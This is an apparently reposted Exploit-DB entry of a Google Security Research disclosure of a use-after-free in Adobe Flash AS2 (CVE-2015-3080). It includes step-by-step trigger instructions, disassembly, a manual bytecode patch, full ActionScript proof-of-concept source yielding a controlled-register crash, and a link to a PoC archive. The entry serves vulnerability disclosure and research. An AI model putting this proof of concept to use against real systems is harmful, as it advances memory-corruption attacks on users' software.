- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 37853
- Проверка EDB
-
- Пройдено
- Автор
- GOOGLE SECURITY RESEARCH
- Тип уязвимости
- DOS
- Платформа
- WINDOWS
- CVE
- cve-2015-3080
- Дата публикации
- 2015-08-19
Adobe Flash AS2 - DisplacementMapFilter.mapBitmap Use-After-Free (1)
Код:
Source: https://code.google.com/p/google-security-research/issues/detail?id=358&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=457680]
---
VULNERABILITY DETAILS
There is a use after free in Flash caused by an improper handling of BitmapData objects in the DisplacementMapFilter.mapBitmap property.
VERSION
Chrome Version: 40.0.2214.111 stable, Flash 16.0.0.305
Operating System: Win7 SP1 x64]
The AS2 mapBitmap_as2.fla can be compiled with Flash CS5. Some bytes must be changed manually to trigger the issue (see below).
Just put mapBitmap_as2.swf in a browsable directory and run the swf with Chrome. It should crash while dereferencing 0x41424344.
Here are a few steps to trigger the issue:
1) Create a BitmapData and store it somewhere, for example as a static member of a custom class.
2) Create a second BitmapData and use it to create a DisplacementMapFilter. We don't care about this BitmapData, it is just needed to create the filter.
3) Override the BitmapData constructor with a custom class. That class should put the first BitmapData on top of the AS2 stack when the constructor returns.
4) Create an object o and change its valueOf method so that it points to a function that calls the DisplacementMapFilter.mapBitmap property.
5) Use the first BitmapData and call getPixel32(o).
What happens during step 5? Flash caches first the BitmapData in the stack before calling o.valueOf. At that moment the BitmapData isn't used elsewhere so its refcount equals 1. Flash enters then o.valueOf which leads to get the mapBitmap property. At that moment we hit the following lines, in sub_10193F2D:
CPU Disasm
Address Hex dump Command
6D2D3FBB 68 BE27C66D PUSH OFFSET 6DC627BE
6D2D3FC0 FF73 04 PUSH DWORD PTR DS:[EBX+4]
6D2D3FC3 56 PUSH ESI
6D2D3FC4 8B33 MOV ESI,DWORD PTR DS:[EBX]
6D2D3FC6 E8 A572F8FF CALL 6D25B270 ; that function creates a new atom and calls the BitmapData constructor
6D2D3FCB 84C0 TEST AL,AL
6D2D3FCD 74 09 JE SHORT 6D2D3FD8
6D2D3FCF 8B0B MOV ECX,DWORD PTR DS:[EBX]
6D2D3FD1 6A 01 PUSH 1
6D2D3FD3 E8 281A0100 CALL 6D2E5A00 ; if the constructor is overriden by a custom class, the custom constructor is called here
6D2D3FD8 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8]
6D2D3FDB 8B13 MOV EDX,DWORD PTR DS:[EBX]
6D2D3FDD 56 PUSH ESI
6D2D3FDE E8 418EF6FF CALL 6D23CE24 ; then pop the new atom from the AS2 stack
...
6D2D4000 23F8 AND EDI,EAX
6D2D4002 807F 35 1B CMP BYTE PTR DS:[EDI+35],1B ; and ensure this is indeed a BitmapData
6D2D4006 74 0A JE SHORT 6D2D4012
...
In the next lines Flash does two things. It destroys the BitmapData object associated to the BitmapData atom and replaces it with the one defined in the DisplacementMapFilter:
6D2D4012 8B47 28 MOV EAX,DWORD PTR DS:[EDI+28]
6D2D4015 83E0 FE AND EAX,FFFFFFFE
6D2D4018 8B40 18 MOV EAX,DWORD PTR DS:[EAX+18] ; get the BitmapData object
6D2D401B 33C9 XOR ECX,ECX
6D2D401D 51 PUSH ECX
6D2D401E E8 1DB2FEFF CALL 6D2BF240 ; call the BitmapData destructor
6D2D4023 8B75 10 MOV ESI,DWORD PTR SS:[EBP+10]
6D2D4026 8BC7 MOV EAX,EDI
6D2D4028 E8 134AF6FF CALL 6D238A40 ; and associate the DisplacementMapFilter.mapBitmap object
All of this works as long as the BitmapData object read from the AS2 stack is not in use somewhere. But since we can provide our own constructor, we can do anything with the AS2 stack, including having an in use BitmapData at the top of the stack when the constructor returns. This can be done by manipulating the AS2 byte code of the constructor for example. So if the returned BitmapData has a refcounter set to 1, Flash frees the object and we end up with a garbage reference in the stack which crashes the player in BitmapData.getPixel32.
After compiling mapBitmap_as2.swf, I had to change the bytes at offset 0x90F in the (MyBitmapData constructor):
52 17 96 02 00 04 03 26 to 17 17 17 17 17 17 17 17 (actionPOP)
Hopefully if it works we should crash here with eax controlled:
CPU Disasm
Address Hex dump Command
6D2BFA83 3B58 0C CMP EBX,DWORD PTR DS:[EAX+0C] //eax = 0x41424344
6D2BFA86 7D 57 JGE SHORT 6D2BFADF
6D2BFA88 85FF TEST EDI,EDI
6D2BFA8A 78 53 JS SHORT 6D2BFADF
6D2BFA8C 3B78 08 CMP EDI,DWORD PTR DS:[EAX+8]
6D2BFA8F 7D 4E JGE SHORT 6D2BFADF
6D2BFA91 8BC8 MOV ECX,EAX
6D2BFA93 8B01 MOV EAX,DWORD PTR DS:[ECX]
6D2BFA95 8B50 10 MOV EDX,DWORD PTR DS:[EAX+10]
6D2BFA98 FFD2 CALL EDX
I don't kwow if we can abuse ASLR with that. If we can do something without getting a virtual function dereferenced, it must be possible.
***************************************************************************
Content of MyBitmapData.as
class MyBitmapData extends String
{
static var mf;
function MyBitmapData()
{
super();
var a = MyBitmapData.mf
test(a,a,a,a,a,a,a,a) //that part should be deleted manually in the bytecode
trace(a) //so that MyBitmapData.mf stays on top of the AS2 stack
}
public function test(a,b,c,d,e,f,g,h) {
}
static function setBitmapData(myfilter)
{
mf = myfilter;
}
}
***************************************************************************
Content of mapBitmap_as2.fla
import flash.filters.DisplacementMapFilter;
import flash.display.BitmapData;
var bd:BitmapData = new BitmapData(10,10)
MyBitmapData.setBitmapData(bd)
var bd2:BitmapData = new BitmapData(10,10)
var dmf:DisplacementMapFilter = new DisplacementMapFilter(bd2,new flash.geom.Point(1,2),1,2,3,4)
newConstr = MyBitmapData
flash.display.BitmapData = newConstr
function f() {
var a = dmf.mapBitmap;
}
var a:Array = new Array()
var b:Array = new Array()
for (var i = 0; i<0xC8/4;i++) {
b[i] = 0x41424344
}
var o = new Object()
o.valueOf = function () {
f()
for (var i = 0; i<0x10;i++) {
var tf:TextFormat = new TextFormat()
tf.tabStops = b
a[i] = tf
}
return 4
}
bd.getPixel32(o,4)
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37853.zip
- Источник
- www.exploit-db.com